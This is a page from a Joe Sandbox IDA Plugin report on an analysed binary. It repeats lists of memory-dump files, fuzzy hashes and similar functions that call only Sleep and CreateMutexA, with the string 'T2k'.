Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: 04ea457d7021aa02b929ad3717fae1bdcbe0b4ae970b079d7901c0872d20fcc1
Instruction ID: 81d17ff9f78749b6d3f959c4c96cbbf797f2ce81dcd149aa23454ecc63d57c09
Opcode Fuzzy Hash: 04ea457d7021aa02b929ad3717fae1bdcbe0b4ae970b079d7901c0872d20fcc1
Instruction Fuzzy Hash: 89312A71B14100CBFB089BB8DC857AEB7A3EBC1315F244358E814973D6C77559898761

Function 00659F44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: 2d3420099a59ff9c6c4b08cb149d68820d6ef10793cbbedc2704c8a7998560bc
Instruction ID: f14efbf8b569c7876d19168fa24874b5963dd6636f9ca166916f713283b9488f
Opcode Fuzzy Hash: 2d3420099a59ff9c6c4b08cb149d68820d6ef10793cbbedc2704c8a7998560bc
Instruction Fuzzy Hash: 07315B71B14100CBEB189BB8DC857AEB7A3EFC5315F248718E854EB3D5C73559888762

Function 0065A079 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: 764d2d03db05cbf3b44a325cf3663b9500e150194c2eb013f14d783a5ce37b2e
Instruction ID: 1c95107a2e029d9ded61fc00c25f86c1ef0a0054a88902ad8273d4133489ac32
Opcode Fuzzy Hash: 764d2d03db05cbf3b44a325cf3663b9500e150194c2eb013f14d783a5ce37b2e
Instruction Fuzzy Hash: B5316A31B241009BEB189BB8CC857AEB763DBC1315F204318E814D73D5C73569888756

Function 0065A1AE Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 135
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: f8c0030041b17f689f380349819d9d7881570e2c3ba3afcc823b7f33f2878b24
Instruction ID: bcca4ee1341705ef98e598596be33fb7da84574d4f055017113063d9b0b59ab1
Opcode Fuzzy Hash: f8c0030041b17f689f380349819d9d7881570e2c3ba3afcc823b7f33f2878b24
Instruction Fuzzy Hash: 1F314631B141009BEB189BB8DC897AEB763ABC6311F244319E854AB3D1C7369A888752

Function 0065A418 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232058424.0000000000897000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232072988.0000000000898000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232088064.000000000089C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232111722.00000000008A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232126178.00000000008A7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232147033.00000000008AE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232161985.00000000008B1000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232177489.00000000008B9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232194053.00000000008BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232212622.00000000008BC000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232226124.00000000008BD000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232241058.00000000008BE000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232258324.00000000008C0000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232278409.00000000008C8000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232299439.00000000008CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232315250.00000000008CD000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232332602.00000000008CF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232348428.00000000008D0000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232365155.00000000008D8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232383342.00000000008EA000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.00000000008EC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232397375.0000000000915000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232437928.000000000092C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232452220.000000000092D000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232466288.0000000000941000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232482246.0000000000942000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232500676.0000000000943000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232535974.0000000000949000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232554189.000000000094B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232573697.0000000000958000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232589732.000000000095A000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_650000_1C05b9.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2k
API String ID: 1464230837-2749674463
Opcode ID: f83a25ad7f0544075c7e25ddc8353d493a577f642b24fcd11b246fe490c44908
Instruction ID: d56e7b7ccbc270841ed9aa08c251b73616bcb47722744206442e2cc094a0ec17
Opcode Fuzzy Hash: f83a25ad7f0544075c7e25ddc8353d493a577f642b24fcd11b246fe490c44908
Instruction Fuzzy Hash: ED314631B141009BEB08ABF8DC89BAEB7A3EFC1315F20431CE9549B3D5D77599888766

Function 0065A54D Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 132
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 0065A963
CreateMutexA.KERNEL32(00000000,00000000,006B3254), ref: 0065A981

Strings

T2k, xrefs: 0065A970

Memory Dump Source

Source File: 00000004.00000002.2231636947.0000000000651000.00000040.00000001.01000000.00000006.sdmp, Offset: 00650000, based on PE: true

Associated: 00000004.00000002.2231615299.0000000000650000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231636947.00000000006B2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231709902.00000000006B9000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231740625.00000000006BB000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231760612.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231857008.000000000081C000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231872139.000000000081E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000833000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231894706.0000000000841000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231925209.0000000000845000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231939740.0000000000847000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231953659.0000000000848000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231975225.000000000084B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2231999124.0000000000871000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232018019.0000000000883000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2232041365.0000000000896000.00000080.00000001.01000000.00000006.sdmpDownload File
